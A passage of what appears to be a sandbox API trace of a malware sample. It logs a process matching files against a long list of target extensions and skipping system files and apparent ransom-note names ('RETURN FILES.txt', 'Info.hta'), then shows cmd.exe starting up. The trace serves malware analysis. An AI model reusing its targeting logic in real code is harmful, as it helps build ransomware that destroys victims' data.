lpString2="BD10253_.GIF") returned 1 [0271.293] lstrcmpiW (lpString1="payload2.exe", lpString2="BD10253_.GIF") returned 1 [0271.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF") returned 69 [0271.293] FindNextFileW (in: hFindFile=0x31b9e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dec3400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5dec3400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10254_.GIF", cAlternateFileName="")) returned 1 [0271.293] lstrlenW (lpString="BD10254_.GIF") returned 12 [0271.293] lstrlenW (lpString=".1cd") returned 4 [0271.293] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.293] lstrlenW (lpString=".3ds") returned 4 [0271.293] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0271.293] lstrlenW (lpString=".3fr") returned 4 [0271.293] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0271.293] lstrlenW (lpString=".3g2") returned 4 [0271.293] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0271.293] lstrlenW (lpString=".3gp") returned 4 [0271.293] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0271.293] lstrlenW (lpString=".7z") returned 3 [0271.293] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.293] lstrlenW (lpString=".accda") returned 6 [0271.293] lstrcmpiW (lpString1=".accda", lpString2="4_.GIF") returned -1 [0271.293] lstrlenW (lpString=".accdb") returned 6 [0271.293] lstrcmpiW (lpString1=".accdb", lpString2="4_.GIF") returned -1 [0271.293] lstrlenW (lpString=".accdc") returned 6 [0271.293] lstrcmpiW (lpString1=".accdc", lpString2="4_.GIF") returned -1 [0271.293] lstrlenW (lpString=".accde") returned 6 [0271.293] lstrcmpiW (lpString1=".accde", lpString2="4_.GIF") returned -1 [0271.293] lstrlenW (lpString=".accdt") returned 6 [0271.293] lstrcmpiW (lpString1=".accdt", lpString2="4_.GIF") returned -1 [0271.293] lstrlenW (lpString=".accdw") returned 6 [0271.293] lstrcmpiW (lpString1=".accdw", lpString2="4_.GIF") returned -1 [0271.294] lstrlenW (lpString=".adb") returned 4 [0271.294] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".adp") returned 4 [0271.294] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ai") returned 3 [0271.294] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0271.294] lstrlenW (lpString=".ai3") returned 4 [0271.294] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ai4") returned 4 [0271.294] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ai5") returned 4 [0271.294] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ai6") returned 4 [0271.294] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ai7") returned 4 [0271.294] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ai8") returned 4 [0271.294] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".anim") returned 5 [0271.294] lstrcmpiW (lpString1=".anim", lpString2="_.GIF") returned -1 [0271.294] lstrlenW (lpString=".arw") returned 4 [0271.294] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".as") returned 3 [0271.294] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0271.294] lstrlenW (lpString=".asa") returned 4 [0271.294] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".asc") returned 4 [0271.294] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".ascx") returned 5 [0271.294] lstrcmpiW (lpString1=".ascx", lpString2="_.GIF") returned -1 [0271.294] lstrlenW (lpString=".asm") returned 4 [0271.294] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0271.294] lstrlenW (lpString=".asmx") returned 5 [0271.294] lstrcmpiW (lpString1=".asmx", lpString2="_.GIF") returned -1 [0271.295] lstrlenW (lpString=".asp") returned 4 [0271.295] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".aspx") returned 5 [0271.295] lstrcmpiW (lpString1=".aspx", lpString2="_.GIF") returned -1 [0271.295] lstrlenW (lpString=".asr") returned 4 [0271.295] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".asx") returned 4 [0271.295] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".avi") returned 4 [0271.295] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".avs") returned 4 [0271.295] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".backup") returned 7 [0271.295] lstrcmpiW (lpString1=".backup", lpString2="54_.GIF") returned -1 [0271.295] lstrlenW (lpString=".bak") returned 4 [0271.295] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".bay") returned 4 [0271.295] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".bd") returned 3 [0271.295] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0271.295] lstrlenW (lpString=".bin") returned 4 [0271.295] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".bmp") returned 4 [0271.295] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".bz2") returned 4 [0271.295] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".c") returned 2 [0271.295] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0271.295] lstrlenW (lpString=".cdr") returned 4 [0271.295] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".cer") returned 4 [0271.295] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0271.295] lstrlenW (lpString=".cf") returned 3 [0271.296] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0271.296] lstrlenW (lpString=".cfc") returned 4 [0271.296] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".cfm") returned 4 [0271.296] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".cfml") returned 5 [0271.296] lstrcmpiW (lpString1=".cfml", lpString2="_.GIF") returned -1 [0271.296] lstrlenW (lpString=".cfu") returned 4 [0271.296] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".chm") returned 4 [0271.296] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".cin") returned 4 [0271.296] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".class") returned 6 [0271.296] lstrcmpiW (lpString1=".class", lpString2="4_.GIF") returned -1 [0271.296] lstrlenW (lpString=".clx") returned 4 [0271.296] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".config") returned 7 [0271.296] lstrcmpiW (lpString1=".config", lpString2="54_.GIF") returned -1 [0271.296] lstrlenW (lpString=".cpp") returned 4 [0271.296] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".cr2") returned 4 [0271.296] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".crt") returned 4 [0271.296] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".crw") returned 4 [0271.296] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0271.296] lstrlenW (lpString=".cs") returned 3 [0271.296] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0271.296] lstrlenW (lpString=".css") returned 4 [0271.297] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".csv") returned 4 [0271.297] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".cub") returned 4 [0271.297] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dae") returned 4 [0271.297] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dat") returned 4 [0271.297] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".db") returned 3 [0271.297] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0271.297] lstrlenW (lpString=".dbf") returned 4 [0271.297] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dbx") returned 4 [0271.297] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dc3") returned 4 [0271.297] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dcm") returned 4 [0271.297] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dcr") returned 4 [0271.297] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".der") returned 4 [0271.297] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dib") returned 4 [0271.297] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dic") returned 4 [0271.297] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".dif") returned 4 [0271.297] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0271.297] lstrlenW (lpString=".divx") returned 5 [0271.297] lstrcmpiW (lpString1=".divx", lpString2="_.GIF") returned -1 [0271.297] lstrlenW (lpString=".djvu") returned 5 [0271.297] lstrcmpiW (lpString1=".djvu", lpString2="_.GIF") returned -1 [0271.297] lstrlenW (lpString=".dng") returned 4 [0271.298] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".doc") returned 4 [0271.298] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".docm") returned 5 [0271.298] lstrcmpiW (lpString1=".docm", lpString2="_.GIF") returned -1 [0271.298] lstrlenW (lpString=".docx") returned 5 [0271.298] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.298] lstrlenW (lpString=".dot") returned 4 [0271.298] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dotm") returned 5 [0271.298] lstrcmpiW (lpString1=".dotm", lpString2="_.GIF") returned -1 [0271.298] lstrlenW (lpString=".dotx") returned 5 [0271.298] lstrcmpiW (lpString1=".dotx", lpString2="_.GIF") returned -1 [0271.298] lstrlenW (lpString=".dpx") returned 4 [0271.298] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dqy") returned 4 [0271.298] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dsn") returned 4 [0271.298] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dt") returned 3 [0271.298] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0271.298] lstrlenW (lpString=".dtd") returned 4 [0271.298] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dwg") returned 4 [0271.298] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dwt") returned 4 [0271.298] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0271.298] lstrlenW (lpString=".dx") returned 3 [0271.298] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0271.298] lstrlenW (lpString=".dxf") returned 4 [0271.299] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".edml") returned 5 [0271.299] lstrcmpiW (lpString1=".edml", lpString2="_.GIF") returned -1 [0271.299] lstrlenW (lpString=".efd") returned 4 [0271.299] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".elf") returned 4 [0271.299] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".emf") returned 4 [0271.299] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".emz") returned 4 [0271.299] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".epf") returned 4 [0271.299] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".eps") returned 4 [0271.299] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".epsf") returned 5 [0271.299] lstrcmpiW (lpString1=".epsf", lpString2="_.GIF") returned -1 [0271.299] lstrlenW (lpString=".epsp") returned 5 [0271.299] lstrcmpiW (lpString1=".epsp", lpString2="_.GIF") returned -1 [0271.299] lstrlenW (lpString=".erf") returned 4 [0271.299] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".exr") returned 4 [0271.299] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".f4v") returned 4 [0271.299] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".fido") returned 5 [0271.299] lstrcmpiW (lpString1=".fido", lpString2="_.GIF") returned -1 [0271.299] lstrlenW (lpString=".flm") returned 4 [0271.299] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0271.299] lstrlenW (lpString=".flv") returned 4 [0271.300] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0271.300] lstrlenW (lpString=".frm") returned 4 [0271.300] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0271.300] lstrlenW (lpString=".fxg") returned 4 [0271.300] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0271.300] lstrlenW (lpString=".geo") returned 4 [0271.300] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0271.300] lstrlenW (lpString=".gif") returned 4 [0271.300] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0271.300] lstrlenW (lpString="BD10254_.GIF") returned 12 [0271.300] lstrlenW (lpString=".html") returned 5 [0271.300] lstrcmpiW (lpString1=".html", lpString2="_.GIF") returned -1 [0271.300] lstrlenW (lpString="BD10254_.GIF") returned 12 [0271.300] lstrcmpiW (lpString1="boot.ini", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="bootfont.bin", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="ntldr", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="ntdetect.com", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="io.sys", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="Info.hta", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrcmpiW (lpString1="payload2.exe", lpString2="BD10254_.GIF") returned 1 [0271.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF") returned 69 [0271.301] FindNextFileW (in: hFindFile=0x31b9e8, lpFindFileData=0x373f094 | out: lpFindFileData=0x373f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f1d6100, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f1d6100, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10255_.GIF", cAlternateFileName="")) returned 1 [0271.301] lstrlenW (lpString="BD10255_.GIF") returned 12 [0271.301] lstrlenW (lpString=".1cd") returned 4 [0271.301] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.301] lstrlenW (lpString=".3ds") returned 4 [0271.301] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0271.301] lstrlenW (lpString=".3fr") returned 4 [0271.301] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0271.301] lstrlenW (lpString=".3g2") returned 4 [0271.301] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0271.301] lstrlenW (lpString=".3gp") returned 4 [0271.301] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0271.301] lstrlenW (lpString=".7z") returned 3 [0271.301] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.301] lstrlenW (lpString=".accda") returned 6 [0271.301] lstrcmpiW (lpString1=".accda", lpString2="5_.GIF") returned -1 [0271.301] lstrlenW (lpString=".accdb") returned 6 Thread: id = 106 os_tid = 0x6ac Thread: id = 108 os_tid = 0x6c0 Process: id = "11" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x6ff91000" os_pid = "0x5f4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x564" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e619" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x5f8 [0265.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1afbc0 | out: lpSystemTimeAsFileTime=0x1afbc0*(dwLowDateTime=0x4aa8a8c0, dwHighDateTime=0x1d543f7)) [0265.036] GetCurrentProcessId () returned 0x5f4 [0265.036] GetCurrentThreadId () returned 0x5f8 [0265.036] GetTickCount () returned 0x6c1a [0265.037] QueryPerformanceCounter (in: lpPerformanceCount=0x1afbc8 | out: lpPerformanceCount=0x1afbc8*=7093532706) returned 1 [0265.037] GetModuleHandleW (lpModuleName=0x0) returned 0x4a4d0000 [0265.037] __set_app_type (_Type=0x1) [0265.038] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4f7810) returned 0x0 [0265.038] __getmainargs (in: _Argc=0x4a51a608, _Argv=0x4a51a618, _Env=0x4a51a610, _DoWildCard=0, _StartInfo=0x4a4fe0f4 | out: _Argc=0x4a51a608, _Argv=0x4a51a618, _Env=0x4a51a610) returned 0 [0265.039] GetCurrentThreadId () returned 0x5f8 [0265.039] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5f8) returned 0x3c [0265.039] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x777d0000 [0265.039] GetProcAddress (hModule=0x777d0000, lpProcName="SetThreadUILanguage") returned 0x777e6d40 [0265.039] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0265.040] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0265.040] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1afb58 | out: phkResult=0x1afb58*=0x0) returned 0x2 [0265.040] VirtualQuery (in: lpAddress=0x1afb40, lpBuffer=0x1afac0, dwLength=0x30 | out: lpBuffer=0x1afac0*(BaseAddress=0x1af000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0265.040] VirtualQuery (in: lpAddress=0xb0000, lpBuffer=0x1afac0, dwLength=0x30 | out: lpBuffer=0x1afac0*(BaseAddress=0xb0000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0265.040] VirtualQuery (in: lpAddress=0xb1000, lpBuffer=0x1afac0, dwLength=0x30 | out: lpBuffer=0x1afac0*(BaseAddress=0xb1000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0265.040] VirtualQuery (in: lpAddress=0xb4000, lpBuffer=0x1afac0, dwLength=0x30 | out: lpBuffer=0x1afac0*(BaseAddress=0xb4000, AllocationBase=0xb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0265.040] VirtualQuery (in: lpAddress=0x1b0000, lpBuffer=0x1afac0, dwLength=0x30 | out: lpBuffer=0x1afac0*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0265.040] GetConsoleOutputCP () returned 0x1b5 [0265.040] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0265.041] SetConsoleCtrlHandler (HandlerRoutine=0x4a4f3184, Add=1) returned 1 [0265.041] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.041] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0265.041] _get_osfhandle (_FileHandle=1) returned 0xf4 [0265.041] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a4fe194 | out: lpMode=0x4a4fe194) returned 0 [0265.041] _get_osfhandle (_FileHandle=0) returned 0xe8 [0265.041] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a4fe198 | out: lpMode=0x4a4fe198) returned 0 [0265.041] GetEnvironmentStringsW () returned 0x3a8aa0* [0265.041] GetProcessHeap () returned 0x390000 [0265.041] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xab4) returned 0x3a9560 [0265.041] FreeEnvironmentStringsW (penv=0x3a8aa0) returned 1 [0265.042] GetProcessHeap () returned 0x390000 [0265.042] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x8) returned 0x3a8920 [0265.042] GetEnvironmentStringsW () returned 0x3a8aa0* [0265.042] GetProcessHeap () returned 0x390000 [0265.042] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xab4) returned 0x3aa020 [0265.042] FreeEnvironmentStringsW (penv=0x3a8aa0) returned 1 [0265.042] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aea18 | out: phkResult=0x1aea18*=0x44) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x0, lpData=0x1aea30*=0x18, lpcbData=0x1aea14*=0x1000) returned 0x2 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x1, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x0, lpData=0x1aea30*=0x1, lpcbData=0x1aea14*=0x1000) returned 0x2 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x0, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x40, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x40, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x0, lpData=0x1aea30*=0x40, lpcbData=0x1aea14*=0x1000) returned 0x2 [0265.042] RegCloseKey (hKey=0x44) returned 0x0 [0265.042] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1aea18 | out: phkResult=0x1aea18*=0x44) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x0, lpData=0x1aea30*=0x40, lpcbData=0x1aea14*=0x1000) returned 0x2 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x1, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x0, lpData=0x1aea30*=0x1, lpcbData=0x1aea14*=0x1000) returned 0x2 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x0, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x9, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x4, lpData=0x1aea30*=0x9, lpcbData=0x1aea14*=0x4) returned 0x0 [0265.042] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1aea10, lpData=0x1aea30, lpcbData=0x1aea14*=0x1000 | out: lpType=0x1aea10*=0x0, lpData=0x1aea30*=0x9, lpcbData=0x1aea14*=0x1000) returned 0x2 [0265.042] RegCloseKey (hKey=0x44) returned 0x0 [0265.042] time (in: timer=0x0 | out: timer=0x0) returned 0x5d3b6d82 [0265.042] srand (_Seed=0x5d3b6d82) [0265.042] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0265.042] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0265.043] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a50c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0265.043] GetProcessHeap () 